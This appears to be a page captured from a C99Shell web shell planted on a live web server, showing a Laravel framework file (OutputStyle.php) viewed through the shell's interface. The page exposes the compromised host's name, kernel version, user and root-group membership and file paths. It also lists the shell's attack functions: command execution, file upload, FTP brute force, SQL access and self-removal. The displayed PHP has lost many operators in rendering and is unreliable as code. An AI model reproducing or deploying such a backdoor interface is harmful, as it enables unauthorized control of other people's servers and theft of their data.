!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/sms.picotech.app/public_html/vendor/laravel/framework/src/Illuminate/Console/   drwxr-xr-x
Free 28.69 GB of 117.98 GB (24.32%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     OutputStyle.php (4.41 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Illuminate\Console;

use 
Illuminate\Console\Contracts\NewLineAware;
use 
Symfony\Component\Console\Input\InputInterface;
use 
Symfony\Component\Console\Output\OutputInterface;
use 
Symfony\Component\Console\Question\Question;
use 
Symfony\Component\Console\Style\SymfonyStyle;

class 
OutputStyle extends SymfonyStyle implements NewLineAware
{
    
/**
     * The output instance.
     *
     * @var \Symfony\Component\Console\Output\OutputInterface
     */
    
private $output;

    
/**
     * The number of trailing new lines written by the last output.
     *
     * This is initialized as 1 to account for the new line written by the shell after executing a command.
     *
     * @var int
     */
    
protected $newLinesWritten 1;

    
/**
     * If the last output written wrote a new line.
     *
     * @var bool
     *
     * @deprecated use $newLinesWritten
     */
    
protected $newLineWritten false;

    
/**
     * Create a new Console OutputStyle instance.
     *
     * @param  \Symfony\Component\Console\Input\InputInterface  $input
     * @param  \Symfony\Component\Console\Output\OutputInterface  $output
     * @return void
     */
    
public function __construct(InputInterface $inputOutputInterface $output)
    {
        
$this->output $output;

        
parent::__construct($input$output);
    }

    
/**
     * {@inheritdoc}
     */
    
public function askQuestion(Question $question): mixed
    
{
        try {
            return 
parent::askQuestion($question);
        } finally {
            
$this->newLinesWritten++;
        }
    }

    
/**
     * {@inheritdoc}
     */
    
public function write(string|iterable $messagesbool $newline falseint $options 0)
    {
        
$this->newLinesWritten $this->trailingNewLineCount($messages) + (int) $newline;
        
$this->newLineWritten $this->newLinesWritten 0;

        
parent::write($messages$newline$options);
    }

    
/**
     * {@inheritdoc}
     *
     * @return void
     */
    
public function writeln(string|iterable $messagesint $type self::OUTPUT_NORMAL)
    {
        
$this->newLinesWritten $this->trailingNewLineCount($messages) + 1;
        
$this->newLineWritten true;

        
parent::writeln($messages$type);
    }

    
/**
     * {@inheritdoc}
     *
     * @return void
     */
    
public function newLine(int $count 1)
    {
        
$this->newLinesWritten += $count;
        
$this->newLineWritten $this->newLinesWritten 0;

        
parent::newLine($count);
    }

    
/**
     * {@inheritdoc}
     */
    
public function newLinesWritten()
    {
        if (
$this->output instanceof static) {
            return 
$this->output->newLinesWritten();
        }

        return 
$this->newLinesWritten;
    }

    
/**
     * {@inheritdoc}
     *
     * @deprecated use newLinesWritten
     */
    
public function newLineWritten()
    {
        if (
$this->output instanceof static && $this->output->newLineWritten()) {
            return 
true;
        }

        return 
$this->newLineWritten;
    }

    
/*
     * Count the number of trailing new lines in a string.
     *
     * @param  string|iterable  $messages
     * @return int
     */
    
protected function trailingNewLineCount($messages)
    {
        if (
is_iterable($messages)) {
            
$string '';

            foreach (
$messages as $message) {
                
$string .= $message.PHP_EOL;
            }
        } else {
            
$string $messages;
        }

        return 
strlen($string) - strlen(rtrim($stringPHP_EOL));
    }

    
/**
     * Returns whether verbosity is quiet (-q).
     *
     * @return bool
     */
    
public function isQuiet(): bool
    
{
        return 
$this->output->isQuiet();
    }

    
/**
     * Returns whether verbosity is verbose (-v).
     *
     * @return bool
     */
    
public function isVerbose(): bool
    
{
        return 
$this->output->isVerbose();
    }

    
/**
     * Returns whether verbosity is very verbose (-vv).
     *
     * @return bool
     */
    
public function isVeryVerbose(): bool
    
{
        return 
$this->output->isVeryVerbose();
    }

    
/**
     * Returns whether verbosity is debug (-vvv).
     *
     * @return bool
     */
    
public function isDebug(): bool
    
{
        return 
$this->output->isDebug();
    }

    
/**
     * Get the underlying Symfony output implementation.
     *
     * @return \Symfony\Component\Console\Output\OutputInterface
     */
    
public function getOutput()
    {
        return 
$this->output;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0291 ]--